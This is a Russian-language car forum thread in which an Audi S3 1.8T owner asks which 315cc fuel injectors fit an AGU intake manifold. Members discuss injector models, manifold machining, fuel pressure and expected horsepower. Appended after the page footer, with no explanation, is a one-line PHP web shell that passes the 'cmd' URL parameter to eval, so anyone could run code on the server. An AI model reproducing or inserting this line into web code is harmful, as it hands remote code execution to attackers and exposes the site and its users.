+ Ответить в теме
Страница 1 из 4 1 2 3 ... ПоследняяПоследняя
Показано с 1 по 10 из 39

Тема: Форсунки 315сс, очень нужен совет.


  1. #1
    GTI-Racing daToxa is a jewel in the rough daToxa is a jewel in the rough daToxa is a jewel in the rough daToxa is a jewel in the rough Аватар для daToxa
    Регистрация
    22.04.2009
    Откуда
    Tiflis
    Машина
    Audi S3 1.8T
    Сообщений
    739

    Форсунки 315сс, очень нужен совет.

    В общем ребята, тема такая, наконец-то созрел для чиповки, сумма была благополучна перечислена грекам и максимум через 3 недели жду заветную микросхемку с переходником.

    По совету греков решено забить на 270сс форсы и ставить 315, дабы снять с моего конфига минимум 225-230 сил, дело в том, что у АГУ-шного коллектора посадочный размер форсунок больше, чем форсы от более поздних моделей, вроде бы, сам не проверял но ребята, кто занимался подобным на Авдотьях АЕВ-шных утверждают что придется колхозить переходники.

    Ребята-Агу-шники и просто знающие люди, может у кого был опыт, форсы от каких старших моделей ФВ/Ауди подойдут? Спасибо заранее!
    При ускорении слезы восхищения должны стекать горизонтально в направлении ушей (c)Вальтер Рерль
    Перед торможением двигателем сначала происходит торможение бампером, затем - облицовкой радиатора, радиатором и только после этого - двигателем...

  2. #2
    Цитата Сообщение от daToxa Посмотреть сообщение
    В общем ребята, тема такая, наконец-то созрел для чиповки, сумма была благополучна перечислена грекам и максимум через 3 недели жду заветную микросхемку с переходником.

    По совету греков решено забить на 270сс форсы и ставить 315, дабы снять с моего конфига минимум 225-230 сил, дело в том, что у АГУ-шного коллектора посадочный размер форсунок больше, чем форсы от более поздних моделей, вроде бы, сам не проверял но ребята, кто занимался подобным на Авдотьях АЕВ-шных утверждают что придется колхозить переходники.

    Ребята-Агу-шники и просто знающие люди, может у кого был опыт, форсы от каких старших моделей ФВ/Ауди подойдут? Спасибо заранее!
    --------- напиши Андрюхе - DUS 72 , ОН ВСЕ ГРАМОТНО РАССКАЖЕТ . На самом деле все просто

  3. #3
    GTI-Racing daToxa is a jewel in the rough daToxa is a jewel in the rough daToxa is a jewel in the rough daToxa is a jewel in the rough Аватар для daToxa
    Регистрация
    22.04.2009
    Откуда
    Tiflis
    Машина
    Audi S3 1.8T
    Сообщений
    739
    Cпасибо большое, отпишу сейчас же.
    При ускорении слезы восхищения должны стекать горизонтально в направлении ушей (c)Вальтер Рерль
    Перед торможением двигателем сначала происходит торможение бампером, затем - облицовкой радиатора, радиатором и только после этого - двигателем...

  4. #4
    GTI-Racing mdm123 is on a distinguished road Аватар для mdm123
    Регистрация
    19.07.2009
    Машина
    AGU
    Сообщений
    82
    Цитата Сообщение от daToxa Посмотреть сообщение
    Ребята-Агу-шники и просто знающие люди, может у кого был опыт, форсы от каких старших моделей ФВ/Ауди подойдут? Спасибо заранее!
    на АГУшный коллектор встанут без доработок от СААБ(красные) 0280150431 350сс, но достать их новыми "космос", забугром есть, мало, но стоимость также "космос" ... есть 440_ые зеленые, но настроить их на АЕБ_шном моторе толком не смогли (знакомые) по ХХ и малым длительностям, да и по буржуйским форумам отзывы о них "не очень "...

    для остальных вариантов надо "пилить" коллектор

  5. #5
    GTI-Racing daToxa is a jewel in the rough daToxa is a jewel in the rough daToxa is a jewel in the rough daToxa is a jewel in the rough Аватар для daToxa
    Регистрация
    22.04.2009
    Откуда
    Tiflis
    Машина
    Audi S3 1.8T
    Сообщений
    739
    Цитата Сообщение от mdm123 Посмотреть сообщение
    на АГУшный коллектор встанут без доработок от СААБ(красные) 0280150431 350сс, но достать их новыми "космос", забугром есть, мало, но стоимость также "космос" ... есть 440_ые зеленые, но настроить их на АЕБ_шном моторе толком не смогли (знакомые) по ХХ и малым длительностям, да и по буржуйским форумам отзывы о них "не очень "...

    для остальных вариантов надо "пилить" коллектор
    Мне такие здоровые и не нужны, максимум 315. А чего коллектор пилить? Наоборот, в нем достаточно здоровые форсы стоят относительно аналогичных моделей следующих лет.
    При ускорении слезы восхищения должны стекать горизонтально в направлении ушей (c)Вальтер Рерль
    Перед торможением двигателем сначала происходит торможение бампером, затем - облицовкой радиатора, радиатором и только после этого - двигателем...

  6. #6
    GTI-Racing mdm123 is on a distinguished road Аватар для mdm123
    Регистрация
    19.07.2009
    Машина
    AGU
    Сообщений
    82
    Цитата Сообщение от daToxa Посмотреть сообщение
    Мне такие здоровые и не нужны, максимум 315. А чего коллектор пилить? Наоборот, в нем достаточно здоровые форсы стоят относительно аналогичных моделей следующих лет.
    по длине разные, пилить посадочное место под рампу ...
    315 форсунки и 225-230 сил на каком РДТ планируется ?

  7. #7
    GTI-Racing daToxa is a jewel in the rough daToxa is a jewel in the rough daToxa is a jewel in the rough daToxa is a jewel in the rough Аватар для daToxa
    Регистрация
    22.04.2009
    Откуда
    Tiflis
    Машина
    Audi S3 1.8T
    Сообщений
    739
    Цитата Сообщение от mdm123 Посмотреть сообщение
    по длине разные, пилить посадочное место под рампу ...
    315 форсунки и 225-230 сил на каком РДТ планируется ?
    3 бар.
    Отписали так.
    При ускорении слезы восхищения должны стекать горизонтально в направлении ушей (c)Вальтер Рерль
    Перед торможением двигателем сначала происходит торможение бампером, затем - облицовкой радиатора, радиатором и только после этого - двигателем...

  8. #8
    GTI-Racing mdm123 is on a distinguished road Аватар для mdm123
    Регистрация
    19.07.2009
    Машина
    AGU
    Сообщений
    82
    Цитата Сообщение от daToxa Посмотреть сообщение
    3 бар.
    Отписали так.
    поставьте 4 бара, буржуи пишут, что у них на 220-230 сил стока хватает ...
    программистам конечно видней, но "пилить" ради 315 сс, тем более Вы написали, что 225-230 сил минимум (интересно, что за конфиг), может на будущее сразу побольше покупать ...

  9. #9
    GTI-Racing daToxa is a jewel in the rough daToxa is a jewel in the rough daToxa is a jewel in the rough daToxa is a jewel in the rough Аватар для daToxa
    Регистрация
    22.04.2009
    Откуда
    Tiflis
    Машина
    Audi S3 1.8T
    Сообщений
    739
    Цитата Сообщение от mdm123 Посмотреть сообщение
    поставьте 4 бара, буржуи пишут, что у них на 220-230 сил стока хватает ...
    программистам конечно видней, но "пилить" ради 315 сс, тем более Вы написали, что 225-230 сил минимум, может на будущее сразу побольше ...
    Они обещают от 225 до 245 сил, смотря как попрет.

    Мне на переднем приводе больше не нужно, мне этого хватит надолго. Главное что бы на треке сил хватало, а учитывая что я на 150 сил неплохо гонял за счет тормозов и койловеров, даже 220 будет боольшим прыжком вперед ))
    При ускорении слезы восхищения должны стекать горизонтально в направлении ушей (c)Вальтер Рерль
    Перед торможением двигателем сначала происходит торможение бампером, затем - облицовкой радиатора, радиатором и только после этого - двигателем...

  10. #10
    Цитата Сообщение от daToxa Посмотреть сообщение
    Они обещают от 225 до 245 сил, смотря как попрет.

    Мне на переднем приводе больше не нужно, мне этого хватит надолго. Главное что бы на треке сил хватало, а учитывая что я на 150 сил неплохо гонял за счет тормозов и койловеров, даже 220 будет боольшим прыжком вперед ))
    ------- 210-220 будет , 245 врядли . 245-265 cил , на турбе к04 и коллекторе , при не изношенном моторе и на 386 форсах + расходомер от 2,8

+ Ответить в теме
Страница 1 из 4 1 2 3 ... ПоследняяПоследняя

Похожие темы

  1. Ответов: 6
    Последнее сообщение: 03.01.2024, 08:36
  2. очень нужен хороший электрик...
    от cbr в разделе Электрика
    Ответов: 0
    Последнее сообщение: 09.01.2013, 22:47
  3. Нужен Совет
    от vIp_Dj в разделе Стайлинг: кузов, салон, свет и прочее
    Ответов: 6
    Последнее сообщение: 02.02.2009, 12:51
  4. Нужен совет...
    от MojaheD в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 2
    Последнее сообщение: 10.05.2007, 04:00

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}